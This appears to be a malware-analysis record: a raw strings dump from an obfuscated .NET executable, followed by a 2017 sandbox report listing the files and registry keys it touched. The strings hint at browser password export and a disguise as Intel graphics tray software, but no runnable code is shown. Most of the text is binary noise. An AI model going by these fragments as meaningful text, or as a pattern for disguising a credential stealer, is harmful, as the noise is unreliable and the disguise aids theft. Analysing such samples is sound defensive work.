j^-!-
h;u)
hG{L
UE >P@
I {b
~cMF$
C^?
Sf{W
) -[o @
Cl?E
IJIA
EdFz&
Ya#[
3f2gh
T=<5i
bx5q
'G{w
jU[0
QZ7[
o'r|1
?:vXk
Hg&j
0c{b
Wp<.
UZ%
0~JC
}vf#
9mU\
.=F}
.}8[4
cERP
ze"4
+F"}
K=C@'#
_i(wD]{1
[eG9b
Tx4@_
v?72U
AA7p
CoKG
fxPD
wjW-g
G?&a%m
lNz_dB
J?
wb;t
SO&3
(I&e
ResolveMethod
D6.K
Rt ![
r* /
a 5p
uBYU
BSJB
H`NBO
NQX#
H'\z
J-t|
0^sz6
aLI+
ef'T
k >P[
_{OkM
%Y;e
:yHQ
.{(A
[pt_
Clear
:7_pYp
GetManifestResourceStream
f"4O
yAZa
_sV|-(
PPP111
/`L(
nTCti
ae*~
NO6
^Vh^?
xzM`
2I*v
U&c5u apG
Strings
/F#S+$
*4*9
K nW
U&"DL/W
5_KW
DDZ$
IsCharState
)0_T
a2<}eP!g
50>L;]M^
ld 4
Models
C?P&&
KtK`E
|H+o
1F>.
{x5u
8P9J
6C,/C,/D,/D,/C,/C,/C,/C,/B+.A*-A*-@*,@*,?)+
ResolveEventArgs
ZQ5=
m_RangeDecoder
obUEZ5
#hH"
% xV
{D=e'*h&,i&-i&-i&-i&-i&-k(.
3 :q
+gEz
phWV|}E
gu >
mC-Ccm
oLsR
pgda
<;jPZ -29L-xV9
ct\
fBLytv
<~ T
U{j~&
t*N3
+'kz
}Fp[
O?{QZ
`Q `
ft6&.
+8/[
_c()j&-j&-j&-j&-j&-j&-j&-j&-i&-i&-i&-b()
oOUZi
LWc$]
xn.x
T)N3<_
_Fe(
4*it
\/`%
Mczs
+E-0E-0F.1G/2I14J24K24K35L35
ppp,,,
-y&
-9H|e
z?Jp
D.:/U
S=s[
,tAmcSL
E?m',p&.p&.q&.p&.q&.q&.s(/
3Y_?
444eee
J}tz
s9M3
mu5
M@zDH
>:'K
QS2I
ln({t'
6K*I
Y7"$${
BlockCopy
((W4
n:0"
f:QB|i
qse3P;
o_gc
24ifr
t4pD
FAs',w&/x&/x&/y&/z&/z&/{&0x&.x%.y%/y&/y&/y&/y&/y&/x%.v%-u',z'/z&/y&/y&/x&/w&/v&/v&/u&/u&/t&.t&.s&.r&.r&.q&.p&.p&.p&.o&.n&-n&-m&-l&-l&-k&-g'+}D<
UGxiT
M7r-
`IU!Lu+
axs\t
jDb92
) rI
&Copyright 2012-2015, Intel Corporation
FAs',w&/w&/x&/y&/z&/z&/{&0{&0{&0|&0}&0}&0}&0}&0}&0|&0{&0{&0{&0z&/y&/y&/x&/w&/v&/v&/u&/u&/t&.t&.s&.r&.r&.q&.p&.p&.p&.o&.n&-n&-m&-l&-l&-k&-g'+}D<
!J]Z
_Vin
nt. tej
9\o*
H7#?
G}aQU
med7_
`B q
w9K/)
///+++
PLJB
Z&tU
M9Ou;
'!(U=
:M8\L
BdfA
*u.n
m_PosMask
IvjM
Su-5qtG
" D|
2oI) 7
ELS)
-LI)
?6<K
1M"V
>I;>
Convert
oedr
exeA
SetLiteralProperties
U]kgk
w^Vo"
>!>CE
jncZ
nnnTTT999)))>>>WWWrrr
=Snm
J>6&\
b+CM.5
wh >
m_NumPrevBits
bj@i
9D$w
WG~@
1 e`
A&>y
xiFD
%_cM
ILSk
%EOv
rvMT
YDc
{e)%
v_ u
zsjHFI
L*5z
c!g
B^cja
l<eD
vQOo
wIyt
CompilationRelaxationsAttribute
s Z
Tuyf4
Intel Corporation
X +J
Prr`
Intel(R) Common User Interface
8.pK9
% OM
UrdL
{[PZIW1
?:j&+m&-l&-k&-k&-j&-j&-f'+|D<
~879M
<gTP/2R
ERN(
D)V%
wLW
?*a%
XK_H
(2M%~
=RM(C]&
rVv 3
F<C82Y
m_IsMatchDecoders
r;/&
)vz!Gr
Tc,
l1_D'O8#(
jjjAAA
FSKA/
1Ek\
0LGU
Array
OOO!!!
d1Me
oZUF
8H]G
Rm+\
cC[S
g{UDYO~;(R
IDATx
|*<0SJ\
%lKOOr!>U77'
F5SE"
)s[ms$e
Create
{D=d'*g&,h&,h&,h&,h&,h&,j(-
,
eGXu
/EZP
(b\1s
4#^9
j^rd
T)$z8R%*P
]!K#
System
u*Cs
=Q/>8
IHDR
|f ]
Zg f
A*SVc
Pi}H
O )V0:
FAs'-w&/w&/x&/y&/y&/z&/|(1
n8f&
0R1P:
r|(1
sT5HG
>lX$5{3
IEND
S = O
R3$ UY
"l}R
l| e
,L5
J]]u
.T4@
r,3+
}awxC
I|z<
_V3+
$M47O68P79Q7;S8<U:=V;>W<>X=?
,sn-
*ZJ"`CN
X/!
|^l(-m&-n&-m&-k(,
7Ady
E 8F
/kwX
F]ND
TW&6`
djsu
6v$b
.)"
X+W
a10%
z[&[
k*@2
!2E
P[kO/
g@G7
ecma
f]Z
}iQA^|
u{y>
o7TI6
V_ZDd
D0.t
~i T
.}Z4
ne7e
PA_')d&,c&,c&,b&+b&+^')wC:
U[yc
3*;q
%e Vh
UpdateMatch
Meu
9Dra
SzeE
Y_I9
V"C5
TI3q
YEA@.
r:z2
lWd)
S4.3
E$ O
5jTP
oP!
?lLGL
R%CQL
J9I
)rn
S)lP
+&N7
>ssy
BN*T
W:F#4J
qIL0s>
7XkCT
d^t7
:V/KI
>Bpu
]wbZ
8:_&
\|3P
N ,
)<X4^
V/9
{$]
r "d^
!d<S
! Zf
)x}
o\.?
AjL'+
FCr5
jO j
!vud
8"CuX J
f6V<8-I
29
.NET Framework 4.5)
~u=c2&
`ZORn
3yKF
`>l/
qWX6
r]Gy
*gE"M
%:Ui
RY/7
A^_"=
7_#x
*"+e
+ (iB
(<GCB
04 #2
ub9C
ccc;;;"""$$$@@@jjj
m_IsRep0LongDecoders
%d4\
qc\g
yD=b'*e&,e&,f&,f&,f&,f&,g',
1 %B
]sCf
k Vn
m_LiteralDecoder
2U;KK o
nIy
([_P
NfpC
&%3+ H
`V+
U X/
AssemblyFileVersionAttribute
@#?A
System.Text
4\Rx
wVu7
B En
+jv.
%1f)C
euf,+
}pjj
4BPt%Wl
>&OntX^
P2J5(
= T?"
~iSnlr
+.@A
+y+6
GetLenToPosState
1:():()<(*>*+?*,A+.F/2G/2F.1F.1E-0E-0C,/B+-A*->(*@+%
m_|W
oU#9
4fG}=
cbQG7
|g~ii+
~,:R
LvNl
W%<S
/{D`
.YD6L
MicrosoftEdgeBrowserExporter
/^0G
9_\$
62rT
~ 3|
4?Cs;
J Ah
tDX(
?5wFg
v4.0.30319
V+.Y
get_Name
oUO}5D
V7%K
DQ8a
v^,e
dej=I$
)r4e
&, 2
-k,a:
~~@U
YxJt
aU\F
]Wrm
C%.F
pg^H
fW_+
m_NumPosBits
uDio
{"ue
?6~_b
37o#G"
PAfOF4
}$eh
'1Eb
2 }n
EjCU
glMP
\?T`E
+S')
|qZ LcL
Ku]G
VSP
x77X
~/YR
~GX#
Bv1@
.dEg ^
>>#Ne
9Ah7
4xrm
9^8J
8?_}
#rJm
E@p',s&.t&.t&.u&/u&/u&/w(0
-)cC
v J0
.uJi`
f hy
nS6p
{Z4M
1'dm
m_Choice2
GetExecutingAssembly
dR8ar
53F
3!6s
Bwee
?^zGi
F^B&.
2G4O
I2Bib
-{zM
2aG-G/2F.1E-0
ao Y
!_A}
)S8<R7;R7;Q7;P79O79pT/
+FZ8}
)j?G@
(YD"o
FrameworkDisplayName
=Q9#2
19$'9$':%(:%(<'(=()=()?)+?)+
q)8s
1@xG2
o*`U$N;
SlI,
G|!
O;]
u;|2A
<|TR$
=1SA2MX .
DJt~
26"$6"$8#&9$'9$':%(:%(;&(<'(
E|"G`
8'AM
t8k^
m_IsRepG2Decoders
)1|Z
q_Cc
S;%_D'
a4't
/ u8
RUCc
InitializeArray
HKPb
.q\4q
nA@m0
zT
K|%C
m_Coders
"4 #4 #4 #5!$6"$6"$6"$6"$6"$6"$6"$6"$6"$6"$5!$4 #4 #4 #3
En]o
^~LI
px"d
*>Fg
o?=1
f~ v
M0HU
/U\Lj_
-amg
/n_urz
,T`6
SX]2fYrZ
vGE'
zEyK
@HNT
V%w@
System.Runtime.Versioning
W c6
SharpAESCrypt
2Mst
i"Xd
XAkN
1 w$
%zH?
(I14K24L35N57O68P79R7;S8<U:=
Z_50
-@*,@*,B+-C,/C,/E-0F.1F.1G/2
J(|p
P\:
h1d };
LoadModule
\gpB
h;yT
`F}k
[tL[
OB+ g
T [2
=e9$
J<EZ
B~.D
w%f[K`m
Lf5M
AU58
Q["QC
^t:KH
"|!
:y7
Load
]@Sd
pO{I
#2."<
/:&(
ZLcM
i$\
A7J'C
M3i\
qqq%%%
(_aLx
yC10
t\J*
;<!-LT!
2#n"
Q^k7
Q+n
H*RsD
get_FullName
qZ%A
8f<Ru
r+p<
'S:f}
Nkb#
IM]\
ConfusedByAttribute
{T8o0`
9N&P
u5 1
l&&N}
/@h2b
`7LiG
arOYMN
%kg[
'`6@
@jc363k}
E@q',u&/u&/u&/u&/v&/v&/x(0
4?QH
c(Qs1{hl
hTF*
DebuggableAttribute
;Bw|
!cUT
PasswordAPI
kE!{
1 o+
:z-
q-H03F.1E-0C,/@*,9$'2!#I4$cI&bG&:& ,
!K35M47O68O68P79Q7;R7;S8<S8<S8<S8<S8<R7;Q7;P79O68O68M47K35K24I14H03F.1F.1E-0C,/A*-@*,?)+=();&(:%(9$'7#%4 #3
,!1+
M`(1
1ch(
W e8
m_Decoders
c[ -
W e7
c[u&
G<:
Z0/*
)KN
p FX7%
nZc$9
1n3|B
(?i+
!=B-
s`-t
[H(N
!4 #4 #4 #6"$6"$6"$7#%7#%7#%8#&8#&8#&8#&8#&7#%7#%7#%6"$6"$6"$4 #4 #4 #2
1[ K
%}d*;
Gp9!
vvK
sA0~
rW,x
rrS
^eeeV
V`g.
ESfR
Ob7K
Mgv$
&K35M47O68P79Q7;S8<U:=V;>W<>
Encoding
!P[M
(#(>
jDz+
(#(;
_ ::
G% G%
A}Y7
E2''
bzv?
V-*n
ldBR
u\-n!
4p}L
.2sq
3W10
6bVa
E*/w
Object
$Q7h
TL,Y2
%0r>m
U,37J
{1IDm
yJ*)
+ 3V
1Y@/G/2F.1
>: \
uWv#|
gdTF/`
H(F
e~Ow
`;MX
) 8G
LQ,W
%{Z8
FBr',v&/w&/w&/x&/y&/y&/z&/z&/{&0{&0{&0{&0{&0{&0{&0{&0{&0{&0z&/y&/y&/x&/w&/w&/v&/u&/u&/u&/t&.s&.s&.r&.q&.q&.p&.p&.p&.o&.n&-n&-m&-l&-k&-k&-g'+}D<
{ha
.mkMT
@"Ni
%E~@y/
NA~
^AcNWN$
2E>^
!LQHM
`qK?B}"
wH|9C
?Yk0
/vdbw
&&&444444444444444444444444444444444444444555666999===EEENNN\\\ooo
[X+9
=_5R
GKwq57
EZ);
Index
"_FA
a\G)
07 FF
BitDecoder
a_k_
Pz?f
[hL;
6ikU
AssemblyConfigurationAttribute
CfPx
?XHc
hH`6|o
3?Ug
wwwJJJ***
_@s3
0~,+
VXY_
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><asmv3:application xmlns="urn:schemas-microsoft-com:asm.v3"><asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"><dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware></asmv3:windowsSettings></asmv3:application><ms_compatibility:compatibility xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" xmlns="urn:schemas-microsoft-com:compatibility.v1"><ms_compatibility:application xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1"><ms_compatibility:supportedOS xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></ms_compatibility:supportedOS><ms_compatibility:supportedOS xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></ms_compatibility:supportedOS><ms_compatibility:supportedOS xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></ms_compatibility:supportedOS><ms_compatibility:supportedOS xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></ms_compatibility:supportedOS><ms_compatibility:supportedOS xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></ms_compatibility:supportedOS></ms_compatibility:application></ms_compatibility:compatibility></assembly>
pT5L
pD$
&]Uk
.0wm\
ldwZt
;4zcBy{
y;!y
tZ?0\R
9RtWj
. :;
R 2Z
% F7p3
u=aO
*g>m
&GI9,5V
\5B^
"A)AA
zD=c'*f&,g&,g&,g&,g&,g&,j(-
ngXkZ
0,pv
8G_3
vMi+
C<il)
Cs\U
5.v#
get_Target
r,9%';&(:%(9$'7#%1
C^v_M
VbeZ
}K'
bG
v]F-
~ke3O
XxX9
l[jdsN=
2e8F
Stream
x1Q"
s>SE\
R14E]
3'{`
/}[I
O<X;
-cHA
V ^3
g CS~
g alPU
/s?7
BitTreeDecoder
eynO
>hE]
SI M
\>BG
V_AB
%#TG ;9
W5BiQ
-`kG+%
8*@:0
&SaR
"z"w
222]]]
KGr,U
9|iV
V a5
>#z8
/2r7
x1*E
-}9Xq
FPpC
"+x3
<<dgV
#(y-
APx*
&3;
IgZ?D%
A^Pg
xJUQE
cQFt
cdj_
Pm]
/OMV.R
E>i'+m&-m&-m&-m&-m&-n&-p(.
H#O0
,x^
hm()t&.t&.t&.m(*
d-;8
bPI=$
YW^C
W1Pz
!-"N\
IW Uo
T<,#
FL\r
*A>j
byX"
%[G~
RpX@:W
x)+!
QNW 9
t+AV
_solid
-![97
i4':i
Z)Rt
YUJu
@Z* 3?
Q A?
L\hO
o<F$o1
d FPg
C|,L
%r(
PDu~
2R0e`
KFa/
U Y1
yI6[
MFT}
6T'\v5
MemoryStream
:Xj=
+rI"[f@
"T-j1
x`!H
)Qs
u@=\))`()a()a()a()b()b()b()b()c()c()c()c()c()c()c()c()c()c()b()b()b()b(*a(*a()`()`()_()_()_()^()^()]()]()]()\()\()[(([((Z()Z()Z()Y()X()X()S))o?9
wIrT
B7PE
jQ{DE
AssemblyCopyrightAttribute
w0o
=.,gP
~wT`
`($E
jf~?-(
2G/2H03H03G/2G/2G/2F.1F.1F.1E-0E-0C,/B+.A*-@*,?)+?)+5"$H2$
Alloc
:CdpM
ATEm#
mAXP
7( b[
{bu/
DebuggingModes
X:&o@
Y] :S
0 Pq
tC:Z')^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+]&+]&+]&+]&+]&+\&+\&+[&+\&+[&+[&+[&+[&+Z&+Z&+Z&+Z&+Z&+Z&+Z&+Z&+Z&+Z&+V')qB9
\*^g
bfB}5
*4)B
qsV+/
8+|>
i/{7
{Mp`)
Ea~
g(? =
cbd'
hQdK
~,%y8a
e%*/
}7W=
!K35L35M47O68O68P79P79Q7;Q7;Q7;Q7;Q7;P79P79O68O68M47L35K24J24I14G/2F.1E-0C,/A*-@*,?)+=()<'(:%(9$'8#&6"$4 #2
=tuL _
yMas[
g:>y
+V98
`r !9
#&Vx
17#%8#&9$':%(:%(;&(<'(=()=()
SMIj
N\k
I_tQ-
\YAEeR
470
j FH
9v't
K#BR
Cn_r
-'<O
`h*r
,Rrv
q}\:6
To!(
3enHf
Buffer
;{ Kj-
so<,
3}F">
x|`
XQ's
f5u&b
!EX
wwwcccSSS\\\jjj{{{
QCNg
YVYQ
\>9P
SP-g{fK
uDFFO
a>NK
=bkWe
YN5&
SiKM~
5cH(1 !3 #4!#2 "0
6kU
^=|97
lea~{
Gmm$]
`^''h$+h%+f%*e')h'*l&,l&-l&-l&-k&-k&-k&-j&,j&-j&-e'*g',
m<.;ux\
sHC<_
j)^5
@0r g
1Eeon
t)h/}
qol$
8@*,A*-A*-A*-A*-@*,@*,@*,@*,?)+?)+?)+=()=()
>8a?0
^G;pu
u9[@Y
o.G/2F.1
`Eb
p];x
U\y_z
c `;t
w^[N
P& i
t]0k
~\]1
=o w
1I~Hg
et-$4t
%D_ R
&8uE
x,H03F.1C,/sX)
<AT5;
r[cB?:
k%PxaZ
w`/h/j
7B+.C,/C,/C,/B+.B+-B+-A*-A*-@*,@*,?)+?)+>(*
? t&
z '-
xD=`'*c&,c&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,d&,c&,c&,c&,c&,c&,c&,b&+b&+b&+b&+a&+a&+a&+`&+`&+`&+_&+_&+_&+_&+_&+_&+^&+^&+]&+]&+Y')sC9
ppppppppppppqqq
HCr'-u&/u&/t&.t&.s&.p&-m'+k'*k'+l',n&-o&.o&.n&-m&-m&-l&-k&-k&-j&-g'+|D<
>=qr(E
N tm
#M47O68P79Q7;S8<U:=U;>V;>W<>W<>X=?W<>W<>V;>U:=U:=S8<Q7;P79O68M47K35K24I14G/2F.1E-0C,/@*,?)+>(*<'(:%(9$'8#&6"$4 #2
S{8wy
B{9r
- $#\
m!.A{
hC>H
<f92
AESxWin.Helpers
+,L$gW
)mXj.*
dg]F8
vz]J
|ha
`&dp-/
@<m',j(*
u1[t-
j~K$
;{_iy
]\b
_/3/
{5)[/
7l#+
j=CS
LC|O
Se!L%j
w~l
B\f9I
%3.6
^~!>
~ZS=
7l%2>
3klx#
o@"'gSJM
8WE
{?m{
"S ;dd
8|;N*
i6XN
y3Bb
nv^n
FBk/
l_/2rF
a*GG<
~cG`
D3KM
0`yc
/ 8~
bB .
g x+
8Qrdie
6 {:
s, .
l^S
]3W1
"+Dv
DyK%
yq S$
i ]@C9
get_Length
no_v
QsuB1
SDb(*e&,e&,d&,d&,d&,a'*xC;
Fk`K
UpdateShortRep
Hho
]"Fz
g(>E
hfpFP
ZMU.
2$ &
tGTdD
U)Kt
yJaXX
fUe}
DP^Q
R LA~
$$?
]B3
d0bp
t.l~-
)y9`
IGFXTRAY
m!T1k|
Sg|"h
V b5
]{Q7}
>w?-
8@9@.
J3+d
b,iD
&z/&j
{,Gf
%Jn'\&
@'v^
R([>x
/H]'I
E@n',q&.q&.q&.r&.r&.r&.t(/
|71S
M6O v
Dk%OEk
xxlQ
b7oX
:&Qd
iO
bh{jPZ
,1^1]
wuVe
]-]dg
w7o82lK;
ZPi 6
:!2\D
9uzy
eeXmk[
'.1^.u<
V[(*-
Z5QF
KE3_
bi"w
Ui N
"5K3
#=O7
UpdateRep
X 87
)i4f-
kS_sGnm
#waSW
ez1T
dN2A=#
8qS)2 #8$&9$'7#%5!$4 #2
ug -
=Q-
r D 0
9a ?
l&Fa
;;;vvv
ntV
#c%y
~ R[
, f{
cBd}
2"N*
o|>s
H1Mz
D;f(,`'(b')^))w:6
/w3H
:1#TqR
*F.1G/2I14J24K24L35M47O68O68
Ax.{
09aq
Q&\H
X\[W
9] e
_ZYH
cG#C
0[~5
LzmaDecoder
9?JV
-Ml~
@e[i;)=
F@^y XMo
@s:9
s2{P
ED+e
T)z\<
1n^=
9y Le!e
IDAT
$Tr`
[j"i.)W/
System.Runtime.InteropServices
|L (
Hd~fOc
y-w/V
kHD-A
u29g
= 7sc
Math
XEXWka=
-p%t
"M)/
Q|b\0
RKZd
`jw,8\
!.S w
3k4P
vTur
2k$K
Decoder
Y4yp
QGptn
?xX{B
.;SBv
2 +k
o 4o
J' J'
yT&]
m^w|
System.Runtime.CompilerServices
[tyI
p7nwRw
Rur%?
*qmS
i8o,:lA~
~Q|(
!T{Pg1
w.[^4
m_PosDecoders
p3P
;>To-
Ug]F;Q
q9|h
m_LenDecoder
jn(*u&/u&/u&/t&.y+2
CyFc/O
^U9W
E3("
2IWi
zcuF
s1t}p
Ndgv
yNLYI2
&#Zz,I6
m_IsRepG0Decoders
fTqK
XgQ
0bQV
=w 98
D.Ls)
=nZ:
t}76
ogro
_>{
.k8Xeb c
1hbh
...ccczzz
m2K/
O?dED
-/OVR
G>Xj7]?
eKpQW
>UMZ
mdrS
v}sg66cNP
Oupp
z fon)
T X0
;dk
eua`Lw
bV?3
5al:
!6tX
k %)
^|Vm&
T.$ w
Yys,
MZpY
^_+!
rGdK
4J3xv(
_v2`c
SV{+
BlgfP
;9yi
-.dD
zJxo
-njl
,O0#)
#M47O68P79Q7;S8<S8<U:=U;>V;>W<>W<>V;>U;>U:=U:=S8<Q7;P79O68M47L35K24I14H03F.1E-0C,/B+-@*,?)+=();&(:%(9$'7#%5!$4 #2
dH,!
U "Pt?
Xt?D
7>Sa
>:r6
A e:
E@n',r&.r&.r&.s&.s&.s&.u(/
rLd+
xRn-
b6(
hHa;
;pJ1
(_,
uuu'''
C$8N
pq22e&+f&,f&,e&,e&,d&,a'*yC;
:Pf)
3Tcr
A9{@
&3'^n
R;C X
>Mm
?S`:
?qbjzq
dcw
JAL?
G/'U
pby
*Q7;Q7:P79M46H14M7.
u$mB
krkA
4="S
txDj
f:%d
Z_XU&R2c
L]&9
mscorlib
2':5`9!vH
%e}h&
7R!i
;&Cdk~
v4GwQM\
sAmym
CopyBlock
Xe6{
HF--s
B<+V
?=9
tWX\
,]Ykf
U$.;
Mc\
<Module>
FhSl
ER"
KD}W$4
pw72}66
RKW}U
r\$b
]C^k
r:JO]
o o!
Sf+B+
ew6.
\t7S
zlGT
?Y?Y7
XXXvvv>>>
_uu;
R0;M{
iQ Lh
0,bl.
,F3y
.o L
`(cS
'U!w2c
n W[
kbJ\
QuL,
m%W$
(L6
RFs#^
rVi4S
bp9.
$ l@@n
\ZmR
.& e,
OmQr
E7{;
yEwO*
TU[bTFZID
D|i{1S~
DO }S
jO"[
?Vz{
w)4%
Init
&R7hw\v
4{T>
.T=i
,^#Z
i`SY
bg+a
~$ZZ
]P8#
:H\EI
g%_R
+ )3
aS2J
',W9i%
VMDj^m
3g*F
$1'df-!
&K^o
6~z{
"lk,
Y aP
#GUID
c@k:CP
ReleaseStream
Y6%z
$Nbn
m:Pz
S8i5
(-\=
Tg8\!
;NY:
T5tZ
9>aI
HV(L~
~Ga&
x< &
Z:~]W
sopV
m_DictionarySizeCheck
], E
Read
5ZL;
r2K5l
Qu!d
z#vM
:(Uj
Ts2 Hxb
UXc9
h~W`I
Db5[r
u{y:
(i CL
/D5G
=_qS
G}&oX
&V;>U;>U:=U:=S8<Q7;L46
<fhsUX
T W/
rO_YN
ht3 I
mOjP?$
oMon
rWh'*l&-k&-k&-j&-j&-j&-f'+{D<
;o~B
`77?
(aI+E/2K24I14G/2F.1E-0C,/@*,?)+>(*<'(:%(9$'7#%6"$4 #2
gZc?
SJ/ v
z=,H
S< T V
}pQi
D%IuU
Q1pWf
!)2>
rVg'*k&-j&-j&-j&-i&-i&-e'*{D<
EK$}
dTjv
lYec
0fOZs
,4*b
x/H*{
ZMHK
Z5kYR
`b w
54 I
+L/ztf
XwdB
Qp.P
_kOzQ
%93s
' Gx
,"S,
yV>#fG
lB^
\eDIL
Wr@ ?>
W+?n
8U7|
c}Wx
2xKgz;
@hcU
kfcJe
DecodeNormal
&a?<H
{fc~
QqF
G?v03j&,k',n&-m&-l&-l&-k&-j&-j&-g'+|D<
62<Ru
jM4)\
(s0/
NYv9
^`((g&,g&,g&,g&,g&,g&,g&,f&,f&,f&,f&,c'+}A9
U*cs
7&nU
hcMu
;4!'
=Sk}
tDx9
]Dz}
aVo%
qTk
|H_1
o$/&
_cV4
Q,eugwe:m
gk^
L^ R'
W7~K0La3K
v*^U
BaFk
\Dub&Fbg
d+4 #2
qO{b
EV%6
Range
3F.1F.1F.1F.1F.1F.1F.1E-0E-0D,/C,/B+.A*-@*,?)+?)+=()<'(9%(1
'Y^[
T Pg
=r@?
U|Po
= vI
mg3'
!nE~
/TQU
F]f9}(r]
-r,dI
U_gr,<D
*W/D
M:kLCl
SetDictionarySize
R,jG
1<,U
#d'#X
AssemblyTrademarkAttribute
&m &b
pgqDv$
MU /
<UGe%
y(N{
\TEK
c5;J
`HO%
$?EF
Y#VF
&fDn
M@k; C
_"E10'
Sl.f
zH)V
>iSt
(AFm
I N2
u@m
P'zxQ
;`R9
mscoree.dll
Q I8
goD^;
)k'b
`F(n
3-$q
o!Yt
7EUu
&zT[
'nbm
\6w;l
>*LC
e tp
FQhg
?@s39
}@s_]Z
T3:D
m_PosAlignDecoder
QC%S
|>2
_$be2
4k=
6E PR
iFS9
7P[_
7])p
"YQ]
E&8'
(Hny7YI
us((
nuA
yFC#
8"iN
"+9.
e+ 1
!-j7R
:6.P|i`TQ
_aYv
uwUiFU
a^&O
"L35M47O68P79Q7;R7;S8<S8<U:=U:=U:=T9=S8<S8<Q7;P79P79O68M47K35K24I14G/2F.1E-0C,/B+-@*,?)+=()<'(:%(9$'7#%6"$4 #2
] XNR
{~:8f')l',l&,j',d&)g%+j&-j&-j&-i&-i&-h&,h&,d'*zC<
m_OutWindow
HX;r
8MT}
~E>h'+l&-l&-l&-l&-l&-m&-o(.
fD*S
Cr6E%
0A}3P,
Qbzqm,
!Y~,D
#?/p7
neK]1
-ag`
e/R.m
~GR
Cn<kq
Og#R2t
OIVC
R.Hn
@o4Q@
Z$p\
ZtWA
gU
n4yx
u^(A
Xw~4
#+ U
Y Xi
|a)m
29i\U
.|F,
74[u
rOz]
l-&:I
49:jR
Vm7oR\D
})bI,C-0J14K35J24H03F.1E-0C,/B+-@*,?)+=();&(:%(9$'7#%5!$4 #2
K( K(
8lAgaq.c
'K24K35M47O68P79Q7;S8<U:=U;>
3Y:|
;8]/
fo$y}
u{Z?
w~ K,}
PutByte
kp(*w&/w&/w&/q(+
|S*
/Z3O
xBU.
I8IH
l9C5
R[:Iay
%`ru
= q12
`t@ r-
I~_[R
$YP
\(10
'w:Z
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven01_64 Seven01_64 VirtualBox 2017-11-25 15:48:39 2017-11-25 15:51:39 180

7 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven01_64 Seven01_64 VirtualBox 2017-11-25 15:48:39 2017-11-25 15:51:39 180

5 Summary items with data

Files

C:\Users\Seven01\AppData\Local\Temp
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Windows\System32\Branding\Basebrd\Basebrd.dll
C:\Windows\Branding\Basebrd\basebrd.dll
C:\Windows\Globalization\Sorting\sortdefault.nls

Read Files

C:\Windows\Branding\Basebrd\basebrd.dll
C:\Windows\Globalization\Sorting\sortdefault.nls

Write Files

Nothing to display

Delete Files

Nothing to display

Keys

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DisableUNCCheck
